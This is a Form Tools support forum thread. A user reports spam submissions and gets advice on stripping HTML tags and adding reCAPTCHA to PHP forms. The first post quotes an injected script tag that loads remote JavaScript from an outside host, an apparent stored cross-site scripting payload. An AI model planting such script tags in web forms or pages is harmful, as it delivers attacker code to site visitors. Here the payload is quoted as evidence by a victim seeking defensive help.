Form tools hacked

[sujith]

My form tools is hacked. Now on every message, i am getting the following as subject. All my forms are affected. Please help

Form Submission through Website<script src=http://nacionalnipark-izletistemurici.com/stats/index.php ></script>

[Ben]

Hi Sujith,

I'm very sorry to hear this.

So what exactly is happening? You're getting a lot of form submissions with that content as the subject heading? In that case, you're just being spammed - sadly,

For security measures, the first thing you should do is re-enable the "strip tags in form submissions" setting on your Edit Form -> main tab. By default, that value is set to "yes" and will strip out all HTML tags, like the <script> tag mentioned in your post. The drawback is that you won't be able to get any HTML content submitted via your forms - so no WYSIWYG fields.

Secondly, you'll need to look into adding some spam prevention to your forms. Here are a couple:
http://docs.formtools.org/tutorials/post_form_captchas/
http://modules.formtools.org/submission_...on_example

Again, sorry to hear about this - it's happened to me, and I know what a pain it can be!

- Ben

[sujith]

Ben, thanks for your support. I am using html pages for form submission. but the tutorial states for php pages. could you please help me to implement re-captcha in an html form?

[uaenoob]

hey

well you have to learn lil bit of php .. but for now ..

this might help you

http://www.yellowpipe.com/yis/tools/HTML_converter/

convert your HTML to PHP

[sujith]

That was a nice tool. Anyway i changed my forms to php as well and added a form through api. I succesfully completed the steps. But 1 issue is nagging me.

1. I have 2 text areas in the form. If the captcha is entered incorrect, the form returns without the data filled. But if i refresh the form, i will get the data filled except the two text areas.

2. Can i use the error alert with the rsv alert, in case of an incorrect captcha?

3. The text areas won't validate after inserting the captcha.

My form is here. Please check this and help

http://www.kerala360.net/kerala-medical-travel.php